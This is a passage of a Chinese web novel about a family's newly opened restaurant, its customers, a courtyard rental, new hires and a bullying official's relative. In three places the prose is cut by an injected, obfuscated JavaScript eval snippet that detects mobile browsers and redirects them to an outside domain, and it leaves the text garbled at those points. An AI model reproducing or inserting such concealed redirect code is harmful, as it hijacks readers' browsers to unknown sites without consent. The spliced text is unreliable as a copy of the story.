“媳妇,红烧肉好了没?这满满一大盆,已经就剩个底了!”李闻生朝灶房里喊了一声,手里还在不停的用勺子给人盛菜盛饭。 “来了来了!这就来了!”李氏端着个长方形的木盆快步走出来,盆里的红烧肉油光锃亮,上面的肥肉颤巍巍的,刚走到楼梯口就被人截住。她笑着躲开伸过来的筷子:“这位客官你急啥?等我先放在台面上的,放心,红烧肉今天做了三大锅,管够!一会你多要点汤汁,把它浇饭上,我保证你一口菜都不吃就能干一大碗!” 中午还没过,楼下角落里,陈氏手里的算盘打得噼啪响,她在后院缓过来之后,就跑到前面接下了李闻生算账的活。一个穿着粗布褂子的汉子举着一串铜钱凑过来:“小娘子,我要在三楼买四个竹片,要一荤一素,跟刚才那碗一样的!” 这是秦嘉言想的法子,因为他们人少,怕忙不过来,秦嘉言让顾毅帮她削了一百多个竹片,上面刻上了“聚鲜馆”三个大字,为了防止别人照这样子冒领,秦嘉言还在下面用碳火在上面烧了几个小黑点。谁都不知道那些小黑点排列是什么意思。只有秦嘉言知道,那是她前世的星座坐标。这个时代的人想破脑袋也不会想出来的。 陈氏放下手中的算盘,抬头抹了把汗:“这位大哥,对不住了,今儿备的料估摸着不够了,您看,现在食材已经见底了,后面还有拿着竹片排队的人呢!” “咋就没了?”汉子急了,“你家这鱼香肉丝和香菇油菜,味道比这条街的馆子都要好,我家婆娘孩子、还等着我打包回去呢!” “这位大哥,实在对不住了,今天第一天开业,我们没有计划好。”陈氏赔着笑,“明儿您早点来,我多给您盛一勺。”旁边几桌也跟着起哄,都说菜味儿新奇,可惜量太少,没吃够,让明天多加点菜,省的不够卖。陈氏一边应着,一边把刚收的银钱仔细收好,心里盘算着,她们家这菜的价钱跟镇上别家饭馆差不多,可娘琢磨的这些新做法,果然受欢迎,她有时间还要跟娘多学几道菜。 正忙乱着,李玉生端着一壶茶水往二楼走,刚踩上两级台阶就听见上面传来娇滴滴的抱怨声。 “爹,你看看这桌椅,都旧巴巴的,你瞅,这漆都掉了几块,哪配得上咱们坐?二哥也是的!满大街上那么多高级的酒楼不去,非得来这个小饭馆。” 李玉生挑了挑眉,他知道是刚上二楼的那一家子。领头的是个五十来岁的老者,穿着体面的深蓝色绸缎长衫,身后跟着两男一女三个年轻人。那姑娘穿着鹅黄色的衣裙,模样长得挺好看,就是一直皱着眉,像谁欠她钱一样,进来的时候嘴里就一直嘟嘟囔囔。 那老者还没说话,旁边一个穿着青色袍子的年轻公子倒是先笑了起来:“四妹,咱们是来吃饭的,又不是来挑家具的。你看这平安镇虽小,这家馆子刚开业就这么热闹,说不定有啥真本事呢?”这公子眉眼带笑,还不时的对她挤挤眼睛。 他身边站着个跟他有几分像的白衣青年,却没什么表情,冷着张脸,只淡淡扫了眼雅间,没吭声。 老者咳了一声,看向那姑娘:“行了,紫宁,出门在外哪能那么多讲究?人家新饭馆开业,咱们来捧个场,沾沾喜气。我刚听楼下说,这家饭馆有人还考上了秀才,更是得讨个好彩头。” “可......可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190820|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这雅间也忒小了点,”姑娘还是不依不饶,扭头看了一圈,“这地方连个唱曲儿的都没有,就这么干吃饭多没意思。” “啪”的一声,白衣青年把手里的茶碗往桌上一放,脸沉了下来:“出门就该有出门的样子,你再啰嗦一句,你就回马车里等着去!” 姑娘吓了一跳,撇撇嘴,总算把剩下的话咽了回去,只是那眼神还在屋里东看西看,满是不乐意。 冷脸青年这时才开口,声音也没什么温度:“点菜吧。” 青衣公子赶紧拿起桌上的菜单,越看眼睛越亮,转头冲老者和冷脸青年笑:“爹,哥,你们看这菜名,‘松鼠鳜鱼’、‘龙井虾仁’,我在江南都没见过。要不,咱们把这上面的特色菜全点一遍?” 老者点头:“行,你想吃什么都点上,咱们也尝尝鲜。” 冷脸青年没意见,那姑娘哼了一声,别过头去,显然还在赌气。 没多大工夫,秦嘉言和李氏就端着托盘上来了。雅间门一推开,一股混杂着酱香、果香和鲜气的味道先飘了进去。 “几位客官,你们点的菜来喽。”秦嘉言先端上一盘红亮亮的糖醋里脊,金黄的肉块裹着琥珀色的汁,旁边还摆了片翠绿的菜叶点缀,看起来就十分的诱人。 接着是松鼠鳜鱼,鱼炸得金黄,弯着身子像只松鼠,浇着橙红的汁,上面撒了些松仁。龙井虾仁是白绿相间,虾仁透着粉嫩,茶叶的清香直往鼻子里钻。 一盘盘菜摆上桌,刚才还在赌气的姑娘早忘了不快,眼睛瞪得溜圆,手里的帕子都掉在了腿上。冷脸青年也微微睁大了眼,手也不自觉的拿起了筷子。老者看起来还算沉稳,他捋着胡子,眼神里也满是惊讶。 “这......这菜是怎么做的?宫里的......我是说京里有最有名的几个酒楼,做的也没有这么好看吧?!”青衣公子拿起筷子,先夹了块糖醋里脊,小心翼翼地放进嘴里。 酸甜的味道在舌尖炸开,外皮酥脆,里面的肉却嫩得流汁,一点不柴。他“唔”了一声,眼睛瞬间亮了,没等说话,就见妹妹已经夹了块松鼠鳜鱼塞进嘴里,腮帮子鼓鼓的,刚才那股挑剔劲儿早没了,只剩下满足。 冷脸青年也夹了口龙井虾仁,虾肉的鲜和茶叶的清混在一起,说不出的爽口,他默默又夹了一筷子。老者尝了口东坡肘子,软糯脱骨,咸香入味,忍不住点了点头。 刚才还叽叽喳喳的雅间,这会儿突然没了声音,只剩下筷子碰到盘子的轻响。四个人谁也没说话,眼睛都盯着桌上的菜,一筷子接一筷子地夹着,生怕慢了一步就没了。 那道猪肚土鸡栗子汤最后上的,奶白的汤里飘着栗子的黄,喝一口,暖乎乎的,栗子的甜味和鸡肉的鲜味配合得恰到好处。那黄衣姑娘端着汤碗,连喝了两碗,额头上都渗出了些细汗。 不一会儿,桌子上摆满的八菜一汤就被吃光了,连盘子里的汤汁都被用馒头蘸着吃得干干净净。 青衣公子摸着肚子,打了个饱嗝,笑道:“爹,大哥,你看我这次选得怎么样?这馆子看着不起眼,菜味儿绝了!” 老者放下了筷子,捋了捋胡子笑到:“嗯,确实不错,难得你这次的眼光这么好。” 冷脸青年难得赞同的点点头,起身给每个人都到了一杯茶。 40. 第 40 章 那姑娘用手帕轻轻的擦了擦嘴,小声嘀咕:“还是二哥厉害,谁知道这么小的馆子菜能这么好吃,早知道这样,刚才我就不......”话说到一半,被白衣男子瞪了一眼,赶紧闭了嘴,却忍不住又看了眼空盘子,显然没吃够。 桌上最后空了的盘子里,还残留一些金蛋的蛋黄液,金蛋已经一个不剩了。老者放下手中的筷子,指尖在杯沿上轻轻划过,目光落在空盘上,不知在想什么。 旁边的青衣公子正擦嘴,见他爹这模样,笑着问:“爹,你是不是也觉得这金蛋好稀奇?软软弹弹的,微微的涩味恰到好处!最后回甘的软绵,让我夹了好几个,真奇怪不知道是什么蛋做的,我觉得比府里......比家里厨子做的好吃多了。” 老者用食指笑着弹了下他的额头,回头往门外喊:“小二。” 李玉生正在楼下给人添茶水,听到动静赶紧跑了上来,打开雅间门之前还轻轻的敲了敲。“几位客官,是您唤我?”他取了一份菜单,站在门口要给他们递过去。“客官,是要加菜吗?” 刚才剩余的三个雅间,除了那两个衙役外,都添了几道菜,秦嘉言主动给衙役的雅间内也填了两盘。 老者笑了笑指着原来装着金蛋的空盘子问:“你家这个金蛋,是谁做的?”李玉生愣了下,随即挠挠头:“您可问对了!这金蛋是我娘做的,独家秘方,别的地方都没有。”他想了想又补充道,“不过,现在这金蛋现在在我们村里不算啥稀罕物了,每家都会做了,这金蛋这么吃还感觉不出啥,早上配粥的时候,放在粥里那才叫一绝。” “哦?是么?还有这种吃法?”老者眼睛亮了亮,身子往前倾了倾,“我们能多买一些带走吗?” “当然能啊。”李玉生爽快应着,“我们家的金蛋也是对外出售的,您来得巧,后面刚好运过来好几坛子,您需要多少?” “那给我先来十坛吧,一会帮我装车上。”老者问都没问一整坛金蛋多少个,刚才点菜的时候,他也没有看价格。 冷脸青年一直没怎么说话,这时终于皱起眉,看向老者:“爹,买这么多做什么?一会让我们的厨子去学一学,多给一些配方钱就是,这么远的路,带这坛子多不方便。”他声音依旧淡淡的,他爹是不是忘了他们这次要进京的目的了? 老者没看他,反倒冲李玉生笑了笑:“劳烦小哥了,这金蛋的钱,我一会直接给你,饭钱另算。” 等李玉生下了楼,他才端起茶杯,慢悠悠地说:“我知道你的意思,我们这次进京赶得充忙,带的伴手礼也是平时那些玩意,没什么稀罕的。这次听说那位新纳了个美人,喜欢美食美酒,我们带这东西献上去,也许能讨得那位欢心!” 白衣男子把茶杯重重的磕在桌上,嗤笑到:“如今,我们都得看一个女人的脸色了?真不知道这......当的有什么意思!都不如直接死在边关算了!” 那老者立刻沉下了脸:“休的胡言乱语!小心隔墙有耳!”他叹了口气,无奈的说:“我知道你们几个的委屈,此次进京,我也不求别的。只求我们几个都能完完整整的回去。” 他瞥了眼还在盯着空盘的小女儿,又道:“尤其是紫宁,你可不能在刁蛮任性,遇到那几位,一定把姿态放得在低一些。” 黄衣女子这才回过神,点点头:“女儿知道,不过......这次她点名让女儿回去,我想她的目的就是想把女儿留在京中,好能随时拿捏父兄。” 冷脸青年没再说话,只是端起茶杯抿了一口,眼里的光慢慢淡了下去。 “行了,不说了。”女子把手中的茶一饮而尽,“这家饭馆确实不错,爹爹,要不我们就在这个镇上歇一日,明天中午在吃一回,反正也不着急赶路。” 老者看着女儿强颜欢笑的样子点点头。“那一会我们就在这镇上找家客栈吧。” 天色还没黑,“聚鲜馆”的大门就关上了。还有许多没有赶上的人,在门外翘着脚往里瞅。 陈氏正在楼梯拐角处的角落里噼里啪啦的拨弄算盘。 她拨弄完最后一个串珠,高兴的大喊起来。:“娘,大嫂,你们过来看!你猜我们今天赚了多少?天啊,真是太夸张了!” 李氏把洗完的碗摞好,又用围裙擦了擦手,走过去看看陈氏手中的账本,虽然这段时间他跟顾毅学了一些字,但看账本还是有点费力:“这......我有点看不懂,应该不少吧。” “那肯定的!不是不少,而是太多了。”陈氏指着账本,顺便教自己的这位大嫂怎样看账本,“你看这里,去掉成本的话,我们今天一天就赚了两千多文,这都赶上县里最大的酒楼了。”她笑了笑。“我刚才去后厨点了一下货,咱们早上买的菜都已经用没了,就连大米也得再买几袋子。” 秦嘉言正在收拾桌椅。听到这话,嘴角忍不住往上扬。她还真没想到能够这么火,为了不让人发现她的与众不同。楼下的菜,除了几个荤菜,卖的全是其他酒楼里常见的家常菜。只是售卖的方式不同而已,大家就这么买账,这真是超乎她的预料。 “娘,”李氏回头看向秦嘉言,语气里都充满着兴奋,“明天出去买菜的时候多备一些菜吧。要不然都不够卖你看!这个时间正是镇上饭馆最火的时候。咱家却已经卖光了。好几个没吃到的,都说明天还要来,让我们多准备一些。” 秦嘉言点了点头,把手里的抹布交给李氏,“这也是我们第一天开业。我没想到这么火。明天买菜的时候多买一些吧,就买今天的一倍。”她顿了顿,看一下李氏说:“定馨,明天一早,我们就先把红烧肉炖上,烧它三大锅,我再教你做两个荤菜,明儿想办法再雇一个洗碗的,你闲暇的时候也跟胡氏学学算账。” 正说着,李玉生一阵风似的从楼上跑下来,“娘!大嫂!二嫂!”他的眼睛里都是笑,特别兴奋的喊:“娘,今天楼上东边雅间那位客人,一出手就定了十坛子的金蛋,这是他给我银子。”他把两锭银子交给了陈氏,笑得眼睛都眯起来。 “十坛子?”秦嘉言吃了一惊,“你没跟他说,这金蛋虽然能放挺久,但是放太久也是会坏的?” 李玉生擦擦头上的汗,“说了,他说他家里人多,一人分一些,这些还不一定能够呢!” 秦嘉言眉头一挑,“那就行,不过这样一来剩下的金蛋就不够几天了,玉生,一会辛苦你一下,雇个骡车回村里,把家里腌好的金蛋和五香鸭蛋都拿回来。要是数量少的话,你就从别人家买一些。路上当心点,别磕着碰着。” “哎娘!我这就去!”李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206877|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉生把手里的东西放下,管陈氏要了雇车的铜板,转身就飞奔出去。 李氏看着他跑远的背影,笑着摇头:“瞅给他急的,别摔着了!” 秦嘉言擦完最后一张桌子,把抹布往盆里一扔:“咱家这饭馆地方还是太小了,我听金掌柜说,咱们隔壁那个大院子空着,后门和咱家这饭馆的后门紧挨着。我一会好李闻生过去看看,要是价格合适的话,就直接租下来,那个院子我看挺大,一家人住着也宽松些,日后还能给老三两口子也接过来。回头我们再把现在住的这几件屋子都改成雅间。” 李氏连忙道:“娘,你这主意太行了,今天走了好几拨想要订雅间的人呢!都是我们这儿雅间太少了。我这就喊闻生。” 不一会,李闻生就被李氏叫了过来,他正准备去街上在买几车柴火,听到秦嘉言喊他,连钱都没有放下,“娘,您找我?我刚想出去呢!” “嗯,你跟我一起去隔壁看看院子,”秦嘉言看见他过来就直接往外走,“咱们这就过去,不然一会天黑了。” 穿过后院的大门,一共也没走几步,就拐到了那个院子的前面。李闻生上前去敲了敲院门,过了很长时间,大门才打开一条缝,从里面探出一个脑袋。 “你们是......”那是一个高高瘦瘦的妇人,脸色蜡黄,看起来很憔悴。 “有事吗?”妇人声音细细的,带着点怯生生的味道。 秦嘉言温和地笑了笑:“这位娘子,不要害怕,我们是隔壁开饭馆的,听说这院子空着,想过来看看,能不能租。” 妇人这才把门完全打开,侧身让他们进来:“原来是这样。我姓柳,就住在街角后面。这院子是我娘家哥哥的,他搬去城里了,就让我帮着照看。”她一边说,一边引着他们往里走,“他走的时候交代过我,可以租出去,可这院子有点大,没几个人愿意找这样大的院子落脚。 秦嘉言打量着院子,这院子和她想得一样,正经的二进院落,收拾得很干净。有四间正房,还有两个小偏房,足够他们一家大子住了。她心里头基本有了谱,转头看向柳氏:“我看着院子还可以,你们大概租多少钱?” 柳氏想开口,又怕她们听到价格后会直接摇头:“要不你们在看看,这屋里家具什么的都是新打的,院子后面我还收拾出来一块菜地。” 秦嘉言知道她的意思,直接开了口:“你就说多少吧!合适的话我们就租下来了。” “要......一个月要......一千文。”柳氏缓缓的开口。 “一千文?这么贵!这周围的房子一个月才五百到六百文,你这也太狮子大开口了!”李闻生急吼吼的道。 柳氏脸上闪过一丝窘迫,手不自觉地绞着衣角:“真的要得不多,这房子是周围最大的,去年才刚翻新,里面的家具也都是新的,后面有两口井。还有那菜地,差不点就将近一亩了,平时种点菜足够你们一家吃的。” 秦嘉言挡住李闻生,"柳娘子,我们之前看房子的时候,确实也跟中介打听过价格,你要得确实贵了些,这样吧,我诚心想租,你看能不能八百文一个月。" 柳氏看着秦嘉言像是打听好行情的样子,也不好在多说什么,“八百文就八百文吧,不过得直接付一年的房款。” 41. 第 41 章 秦嘉言心里粗略的算了一下,一个月八百文,一年就是九两六钱,寻常人家哪拿得出这么多现钱?她和李闻生对视一眼,饭馆才刚刚开业第一天,钱都投进去了,他们哪还有闲钱一次交清房租? 她看了柳娘子身上的旧衣裙和她那张蜡黄的脸,试探着说:“柳娘子,实不相瞒,我这饭馆才刚刚开张,手里的银子都投在了饭馆里,这还是管村里人借了些银子周转呢!我一次性肯定拿不出这么多,您看,我们能不能商量下?头一个月我给您一千文,从第二个月起,每月按八百文交齐一年,这样一年您还多得二百文,我也有时间周转了。” 柳娘子看着她愣了一下,只用手抠着袖口没有吱声。秦嘉言心里没底,又补了句:“我看您也不是特别着急用钱,不然这房子也不会空这么久没租出去了,您要是同意的话,明天早上我们一起去衙门过了文书,那一千文我当场就能给你。放心,我不会赖账。” 柳娘子抬起眼看她,眼神里充满着犹豫和期盼:“刚才听你说,你是开饭馆的?你的饭馆在哪?我不是不放心,就是想问一问,毕竟我是帮我哥的忙,打听好了,我也好和他交代。” “我那饭馆离这里很近,叫聚鲜馆,就在这房子后门那条街,后门对着后门,不然我也不能一眼就相中了你家,今天刚开张,那爆竹声音可大了,你应该也听见了吧。”秦嘉言赶紧说,“你放心,我虽是第一天开饭馆,但生意可特别好,你要是不相信,明天可以去店里看看。” 柳娘子想了半晌,终于点了头:“成,我相信你,咱们明天就能去衙门过文书。不过,你们想什么时候搬过来?我得收拾收拾?” “当然是越快越好,如果您方便的话,我想明天早上就开始搬,顺便把钱给您带来。”见房子有了着落,秦嘉言松了口气,忽然想起她的饭馆缺人,又道,“对了柳娘子,您是这儿的老人了,能不能帮我介绍两个人?我这饭馆刚开张,还缺两个人,一个洗碗,一个跑堂,我每个月给五百文,包两顿饭。” 柳娘子眼睛一下子亮了,往前凑了半步,声音都比刚才响亮了些:“洗碗......您看我成不成?我平时就帮人家浆洗衣裳,手脚可麻利呢!我哥这房子租出去了,我也不用再帮他看房子。”怕秦嘉言不同意,她又赶紧补充,“饭馆要是有桌布、围裙要洗,我都能一并洗了,还能帮你伺候屋后那片地,我不另外要你钱。” 秦嘉言看着她急切的样子,笑了一下:“我倒是没什么问题,雇谁都是雇,主要是您身体吃得消吗?我家客流量比较大,洗碗估计得站一天,怕是会很累。不然我也不会开那么高的价格。” “吃得消!吃得消!”柳娘子连忙摆手,“我平时种地、洗衣裳,力气还是有的,就是......就是想多挣点钱,将来给我自己买个落脚地,能有钱养老。胡同里那个房子是我租的......这里也不能长住,我想怎么的将来都得有个自己的去处,趁着年轻,不如多干一些。” “没错,这院子打理得这么好,一看你就是个勤快人。那这样吧,要是没问题,明天我搬完家,你明天就来店里试试,行的话就留下。”秦嘉言点头应了。 柳娘子笑得眼睛都眯了起来,又说:“你想找跑堂的,我也认识个人!就住在我租的那条巷子里,叫福贵,才十三、四岁,虽然小了点,但人机灵着呢。平时就帮着巷子里的人跑腿送衣裳,记东西也快,上次张大户家要十多件浆洗衣,他听一遍就记住了,这么长时间一次都没有出错过,他肯定行。” 话音刚落,院门外就探进个脑袋,是个十三、四岁的孩子,手里拿着个空篮子,往院子里面看:“柳婶,你家有客人?我是来取今天浆洗好的衣服的,方便吗?” “呀!是福贵,快进来!快进来!真是说曹操曹操就到!”柳娘子向他招了招手,“给你介绍一下,这位是秦娘子,就在这房子后门那里开了一个饭馆,她家要招跑堂,一个月五百文,还包两顿饭呢!你要不要去试试?” 福贵一听,眼睛瞬间亮了起来,他有些兴奋的看着秦嘉言:“秦娘子......您看我行不?我记性好,张叔家的办酒宴都是我帮着跑的,一样菜都没记错过。我还......我还跑的快,东西街的巷子路我也熟悉,哪里菜好我也知道,平日里我帮邻居买菜又好又便宜,不信你问问柳娘子。” 秦嘉言笑着拍了拍他稚嫩的肩膀:“你怕累么?我家饭馆人流量比较大,忙的时候可能得从早到晚都不能休息。不过包的两顿饭比较好,有荤有素!” “不怕!我平时也是这样忙碌的。”福贵挺了挺胸,“秦娘子,我娘生病了,我就想多赚一些钱给她看病,再累的活我都干过,您要是不收我,我明天就想着去码头扛货去了。” 秦嘉言摸了摸他的头:“那好吧,明天你和柳娘子一起去‘聚鲜馆’找我,我先把你一个月的工钱结给你,你先拿着去给你母亲看病。” 福贵高兴得跳了起来:“谢谢秦娘子!太谢谢你了!你真是个大好人!我一定好好干,绝不偷懒!” 才不到半月,聚鲜馆彻底火了起来。 每天不到晌午,聚鲜馆还没有营业,东市口就排起了长队。福贵穿梭在队伍里,扯着嗓子喊:“各位客官稍等!聚鲜馆的菜要到晌午才能出齐,大家不要着急,今天聚鲜馆还多加了一道新菜,欢迎大家一会品尝!” 秦嘉言站在厨房门口,看着外面排着的人心想:这饭馆实在太火了,李氏和刘氏两个人都要把锅轮飞了都供应不上。每天都有没吃到的客人,真是可惜。 她想起前世她在家就能吃到各种外卖,就忽然有了主意,她让李玉生去找木匠订了一批木盒,上面的盖子上刻上了‘聚鲜馆’三个大字,外面还刷上了清漆,看上起十分漂亮。李玉生把盒子摆出来的时候,大家还以为他要卖盒子呢! 秦嘉言对着排队的百姓慢慢的说:“这是我家最新定制的外卖盒子,干净得很,只需交二百文的押金,就能用这盒子将饭菜带走。等把盒子还回来,押金原数退给您。” 一个穿着蓝色衣裙的大婶看着她手里的盒子有些犹豫的问:“二百文的押金?这也太贵了吧,能吃几顿饭了,要是弄丢了就亏死了,还不如来这里吃了。” “婶子您放心把,这盒子是我找木匠拿上好的松木做的,就算你拿回去装别的物件也是值得的,何况你拿回来,我还一分不少的给你退押金呢。”秦嘉言解释,“没关系的,要是觉得盒子不划算,也能等排队在店里吃,我就是想着,这样有需求的人,可以把饭菜带走,就不用等那么长时间了。” 旁边一个穿棕色绸缎的胖老板赶紧从怀里掏出铜板:“我要打包,给我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246305|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个木盒!我娘子还在家等我呢!省得我每回都得端着盘子走。帮我装两份一荤一素的,一份红烧肉、烧茄子,一份糖醋肉、香菇肉丝,都装盒子里,快点!” 有了第一个,后面的人也跟着要打包,没一会儿,五十个木盒就订出去了,队伍也瞬间短了一大节。 楼上的雅间更是抢手,预约都排到了一个月后。现在三个儿媳妇都渐渐的学会了做雅间里面的菜,秦嘉言也跟着轻松了许多。镇上几乎每个人的嘴里念叨着‘聚鲜馆’,平安镇的大户人家,要是谁家没在‘聚鲜馆’订过包厢,都觉得没面子。 这天,张府的管家跟刘府的管家在门口遇上,张管家得意地说:“我家老爷下月初要请县丞大人吃饭,秦娘子特意帮忙留了最好的包厢,能看街景的那种。” 刘管家羡慕得不行:“哎哟,你家老爷可真有面子!我家老爷预约到月底了,还得等半个月呢,急得天天催我。这不,我基本上每天都来看看,万一有取消的,我也能捡个漏。”这样的事情几乎天天都有发生,每天饭馆儿门口都有等着捡漏的任。可是“聚鲜馆”实在太难约了,谁能不长脑袋取消? 秦嘉言还特意推出了限时菜品,辣卤鸭货价格不贵,几乎跟饭馆里的荤菜一个价。刚推出那天,她让李氏卤了一大锅,摆在门口的案子上,红亮亮的,辣香飘出老远。排队的人好奇地凑过来:“秦娘子,你这做的是啥?太香了,香得我鼻子都要掉了!” “这是辣卤鸭货,有鸭头、鸭脖、鸭翅,下酒可是一绝,价格也不贵,可以带走也可以再饭馆里吃。来,你尝尝。”秦嘉言给那人递过去一小块鸭脖子。 那人咬了一口,刚开始觉得香,没一会儿,辣味就冲了上来,他吸着气,用袖子擦了擦眼泪:“好吃!好辣!好过瘾啊!辣得太爽了,给我来两份!给我挑最辣的!我家那小子就爱吃辣的!” 旁边的人见了,也纷纷要了一份,不一会儿,一大锅辣卤鸭货就卖光了。 有人辣得直跳脚,福贵还给他倒了一大碗水,他边喝嘴还边喊着:“秦娘子,明天还卖不?这太好吃了!我明天多买点给我娘子也带回去一些,” 就连楼上包厢的客人,也忍不住让小厮偷偷打听,楼下卖的什么这么热闹。 这天,王员外正在包厢里跟人谈生意,还特意偷偷拉过小厮,压低声音:“你去楼下买二斤辣卤鸭翅,别让人看见,尤其是别让李员外家的人看见,咱一个员外,跟平民吃一样的东西,传出去丢面子。” 小厮连忙点头,蹑手蹑脚跑下楼,买了鸭翅,用油纸包了三层,藏在怀里,才偷偷溜回包厢。王员外接过,连忙咬了一口,眯着眼笑了起来:“这东西确实好吃,上次我闻到味就馋了,一会你再去买一些,用油纸包好给家里的夫人少爷小姐都送过去一些。” 那小厮点点头,蹑手蹑脚的又排到了队伍后面,前面的人不就是李员外的贴身小厮吗?前面的人一回头也看见那小厮,俩人都没有说话,对视一眼,心照不宣的笑了。 又过了几天晌午,正是‘聚鲜阁’最忙的时候,忽然闯进来几个军汉打扮的人,为首的是个穿锦袍的男人,进门就踹了一脚旁边的凳子,凳子“哐当”一声倒在地上,吓得客人都停了筷子。 “掌柜的呢?叫你们掌柜的出来!”那男人扯着嗓子用力喊。 42. 第 42 章 “几位客官是要吃饭吗?”福贵放下茶壶连忙跑过来招待,“楼下已经满了,几位有订位置......” “让开!都给老子让开!你算干啥的?滚一边去!掌柜的呢?赶紧给老子出来!”他一把推开了迎上前去的福贵,把福贵推得一趔趄。 秦嘉言赶紧从厨房门口走过来,向他拱手道:“这位客官,我就是掌柜,请问您请问有何吩咐?” 那男人头发油腻腻的,嘴角撇着,不削的眼神扫过满屋子的人,最后落在秦嘉言身上。 排队的百姓瞬间安静下来,有人还悄悄往后缩了缩,跟身边人凑着耳朵嘀咕:“这不是总兵府的郭小舅子吗?他怎么来了?” “你可小点声!这个人可是除了名的不讲理,上次在西街,直接把张屠夫的铺子给揭了,还说谁去他家买肉,就针对谁,这不,张屠夫的摊子都关了,听说一家老小连夜南下搬别的地方了,连祖屋都没要!” “瞅这样子他是来者不善啊,我们别上前了,先看看在说。” “看那些军汉,这咋还带着刀呢?我看都是真家伙,不行今天咱们别吃了,等改天再来。” “走吧!走吧!美食重要,命更重要。”排队的人一哄而散,只有几个大胆的还站在一边看热闹。 “你就是掌柜的?啧啧啧,还是个小娘子......”那男人穿着宝蓝色绸缎褂子,嘴又点歪斜,不知道是天生的还是刻意作出这个样子的。 他上下打量着她一番,嘴角不怀好意的撇了撇,“我是总兵大人的小舅子郭宜,今天要在这里请兄弟们吃饭,你赶紧给我腾个雅间。”他身边几个穿着短褂、腰里别着刀的军汉上前一步一左一右挡在了秦嘉言的身侧。 秦嘉言看着紧张的人群,面露难色:“郭公子,今儿来是想我这小饭馆吃饭?可实在对不住您,今儿的雅间早在半月前就约满了,最快的也得半个月以后。您要是不介意,后面院子里还有张空桌,我给您安排安排?保证让您满意。” 她话音刚落,靠窗边一个穿着短褂、趿拉个布鞋的男子赶紧站起来,陪着笑说:“郭爷,今天这是什么风把您给吹来了。您今天是带着哥儿几个来吃饭的么?我这地方让给您,一楼靠窗最好的位置,您看,这地方也大......哥儿几个肯定能坐下。” 这人是码头上的总管,平日里就十分想巴结郭宜,一看他带人出来吃饭,就想着赶紧把自己排了许久的位置让出去。 谁知郭宜根本不领情,抬眼斜了他一下,突然起身一脚踹在他的胸口:“你他马算个什么东西?爷用得着你让?!滚!” “老子带着兄弟还能做楼下?啧!真是笑话!”郭宜冷笑一声,伸手推开秦嘉言,眼睛扫过二楼,看见最里面的雅间门开着。 他抬腿就往上走,身后的军汉连忙跟了上去,越过他直接一脚踹在雅间门上:“里面的人,都给我出来,赶紧的!把这屋子给我腾出来!” 里面的一个穿着月白色长褂的商人正在拨弄算盘,听到声音吓了一大跳,连忙从凳子上站起来,看见外面拎着刀的壮汉有点懵,陪着笑说:“这位公子,我半个月前就预约了这个雅间,今天是跟南边来的一个重要客商谈生意,要是换了地方,怕是不太方便......你看能不能......” “不太方便......老子管你方不方便!”郭宜一把推开他,那人踉跄退了好几步,后腰一下子撞到了桌子角,账本掉在地上,墨水洒了一片,手里的布包“啪”地掉在地上,里面的茶叶罐摔出来,碎了一地。 “也不看看老子是谁?老子在这,你就赶紧乖乖给我挪地方!还你方不方便?老子管你?给我整不耐烦了,小心老子的兄弟们让你见血!” 那商人脸涨得通红,却不敢再多说一句,只能蹲下去捡碎片,嘴里还得赔着笑:“我错了,我错了,我这就滚,大爷您别生气,我这就滚。” 楼下围着的百姓都看傻了,有人捂着嘴小声说:“这也太欺负人了!佟老板半个月前就约了,就这么被撵走了?” “嘘!别乱说话!你不要命了?那可是总兵的小舅子,咱们惹不起!赶紧走,别吃了!” “那也有点太霸道了!哪有这样的,说撵人走就撵人走的?这王老板也是可怜,看秦娘子跟他说什么呢?应该是要补偿他吧?” 郭宜看着商人狼狈的样子,得意地笑了,冲身后的军汉摆手:“都进来坐!把那雅间的门都打开,你们今天随便吃,好酒好菜随便点,老子我包了!” 他大摇大摆地坐下,拿起菜单胡乱翻了翻,也没有仔细看,就朝着福贵喊:“把你们这儿最好的菜都上一遍!这一页,还有这页,什么糖醋鱼、红烧肉、辣卤鸭货,一样来两份!再拿两坛最好的酒!不,还是拿十坛,我们不醉不归!” 福贵不敢怠慢,赶紧下去传菜。没一会儿,一桌子菜就摆满了,郭宜跟几个狐朋狗友胡吃海喝,骨头扔得满地都是,还时不时拍着桌子大笑。 吃到一半,郭宜忽然冲楼下喊:“秦娘子!你上来一下!我有事要交代你!” 秦嘉言心里一沉,还是硬着头皮上了楼。 “秦娘子,”郭宜打了个酒嗝,酒气喷了秦嘉言一脸,“你这饭馆菜还行,就是缺了点乐子。你去一趟西栏坊的‘明月楼’,找老鸨给我调两个模样俊的女人来,就说是我郭宜要的,她就明白了。你赶紧去吧。别耽误了我们哥儿几个的雅兴!” 